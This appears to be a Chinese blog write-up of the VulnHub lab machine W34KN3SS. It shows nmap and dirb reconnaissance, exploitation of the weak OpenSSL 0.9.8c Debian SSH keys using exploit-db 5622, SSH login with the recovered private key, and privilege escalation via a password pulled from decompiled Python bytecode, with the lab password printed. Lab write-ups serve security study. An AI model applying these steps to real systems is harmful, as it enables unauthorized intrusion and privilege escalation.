当前位置: 首页 > news >正文

W34KN3SS靶机

信息收集:

靶机地址:https://www.vulnhub.com/entry/w34kn3ss-1,270/#

(1)ip扫描

nmap 192.168.254.0/24 -sn | grep -B 2 '00:0C:29:E8:66:AB'

(2)端口扫描

nmap -p- -A 192.168.254.145

(3)目录扫描

dirb http://192.168.254.145

(4)访问页面没啥有用的

(5)拼接目录扫描出来的目录/test,没啥用

(6)回去看到端口扫描443端口的后面有1个域名,尝试访问一下域名,发现不行

(7)我们想到将它配置到/etc/hosts文件中,现在访问就可以访问到了,这里可能是用户名先留着

(8)在对域名进行目录扫描

dirb http://weakness.jth

(9)拼接访问private,显示出两个文件,访问一下,提供了有关OpenSSL 0.98c-1的线索 并且我们发现的公钥也是由他生成的

getshell:

(1)使用searchsploit查找他

searchsploit 0.9.8c-1
searchsploit -m 5622
cat 5622.txt

(2)需要去下载里面给的一个github的压缩包的工具,下载完成之后放到kail中进行解压

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2tar -xjvf 5622.tar.bz2

(3)在看之前的另一个文件,使用工具进行解码

grep -r -l "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster"4161de56829de2fe64b9055711f531c1-2537.pub

(4)使用公钥和用户名登录ssh

ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.254.145

提权:

(1)发现user.txt 进行访问

(2)当我们检查代码的文件类型时,它发现是一个 python 编译的文件。让我们将其复制到 /var/www/html,这样我们就可以在我们的系统上下载此文件。

file code 
cp code /var/www/html

(3)我们已经在我们的系统上下载了该文件。使用uncompyle2 或者 GitHub - rocky/python-uncompyle6: A cross-version Python bytecode decompiler 对Python代码进行反编译

直接下载到kali也行 
wget http://192.168.254.146/code  

(4)得到密码,sudo su 提权成功

Username: n30
Password: dMASDNB!!#B!#!#33

http://www.lryc.cn/news/419837.html

相关文章:

  • 8.9套题
  • Python 爬取网页水务数据并实现智慧水务前端可视化
  • 百度智能云发布3款轻量级+2款场景大模型
  • UE基础 —— 编辑器界面
  • 2024年Vue组件库大比拼:谁将成为下一个Element?
  • SS9283403 sqlite3交叉编译并部署到SS928(六)
  • java3d-1_4_0_01-windows-i586.exe
  • Vue3中的history模式路由:打造无缝导航体验!
  • python(6)
  • 以Zed项目为例学习大型Rust项目的组织与管理
  • 正点原子imx6ull-mini-Linux驱动之Linux RS232/485/GPS 驱动实验(23)
  • 用户上下文打通+本地缓存Guava
  • Windows图形界面(GUI)-MFC-C/C++ - 树形视图(Tree Control) - CTreeCtrl
  • C语言 --- 枚举、位运算
  • 12322222222
  • 知识改变命运:Java 语言 【可变参数】
  • Spring及相关框架的重要的问题
  • Linux Vim教程
  • 【学习笔记】多进程信号量控制
  • Redis与Memorycache的区别
  • docker和Helm Chart的基本命令和操作
  • Node中的CSRF攻击和防御
  • CSS 多按钮根据半圆弧度排列
  • 【Linux】网络编程套接字Scoket:UDP网络编程
  • 基于模糊PID控制器的puma560机器人控制系统的simulink建模与仿真
  • C语言文件操作超详解
  • 表字段显示tip
  • 十二、享元模式
  • 黑马Java零基础视频教程精华部分_18_Arrays各种方法
  • RAG私域问答场景超级详细方案(第一期方案)[1]:工业级别构建私域问答(知识处理、知识召回排序、搜索问答模块)